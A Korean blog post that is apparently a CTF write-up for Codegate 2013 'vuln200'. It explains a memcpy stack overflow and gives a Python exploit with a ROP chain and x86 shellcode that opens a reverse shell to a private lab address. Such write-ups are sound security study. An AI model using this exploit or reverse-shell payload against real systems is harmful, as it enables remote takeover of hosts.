ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • codegate 2013 vuln200
    CTF&Wargame/ETC 2017.01.08 02:54

    이건 nc 서버 때문에 시간을 다 잡아먹었다.

    포트를 7777로 맞춰놓고 서버를 세팅해놔도 ㅂㄷㅂㄷ이다 Bind Error은 왜 자꾸 뜨는지 모르겠다.....


    자 문제를 풀어보자


    프로그램을 실행하면 이렇게 나오는데

    ida로 보면


    recv 함수의 리턴값은 recv 바이트 수를 리턴하는데 그 값이 sub_8048eeb 함수에 끝에 들어가고 0 초기화된 v13이 앞에 들어간다. 저 함수를 들어가보면


    memcpy에서 취약점을 발견할 수 있다.


    왜냐 a1은 v13으로 400바이트이다, len또한 400바이트이다.

    v13은 내가 입력한 값이 들어가는데


    dest의 크기는 236바이트이다. 더 많이 입력할 수 있으므로 오버플로우가 일어난다.


    위에 보이는 5개의 메뉴말고도 하나가 더있다. write라고

    write를 입력해주고 240를 채운후 익스플로잇을 하면될것이다.



    쉘코드를 사용할건데 이래 만들면된다.





    아래의 소스코드는 ropasaurusrex문제를 풀 때 썼던 코드를 약간 수정해서 풀었다.

    from socket import *
    from struct import *
    from time import sleep
    
    p = lambda x: pack("<L", x)
    up = lambda x: unpack("<L", x)[0]
    
    bss = 0x0804b0a0
    ppppr = 0x0804947c
    recv_plt = 0x08048780
    shell =  ""
    shell += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
    shell += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
    shell += "\xa8\x99\x8b\x68\x02\x00\x0e\x8a\x89\xe1\xb0\x66\x50"
    shell += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73"
    shell += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0"
    shell += "\x0b\xcd\x80"
    
    payload = "A"*240
    payload += p(recv_plt)
    payload += p(ppppr)
    payload += p(4)
    payload += p(bss)
    payload += p(len(shell))
    payload += p(0)
    # recv(4, bss, len, 0)
    
    socket = socket(AF_INET, SOCK_STREAM)
    socket.connect(("192.168.153.139", 7777))
    
    print socket.recv(1024)
    socket.send("write"+payload+"\n")
    print socket.recv(1024)
    socket.send(shell+"\n")
    

    풀이를 쓰기 위해 다시 우분투를 켰지만 bind error가 떠대서 던졌다




    'CTF&Wargame > ETC' 카테고리의 다른 글

    codegate 2014 nuclear  (0) 2017.01.13
    holyshield pwnit  (0) 2017.01.10
    codegate 2013 vuln200  (0) 2017.01.08
    Layer7 ctf 2015 IhaveLongDariYouHaveShotDari  (6) 2017.01.07
    Pico ctf 2014 rop1  (0) 2017.01.05
    ropasaurusrex  (0) 2017.01.04

    댓글 0

Designed by Tistory.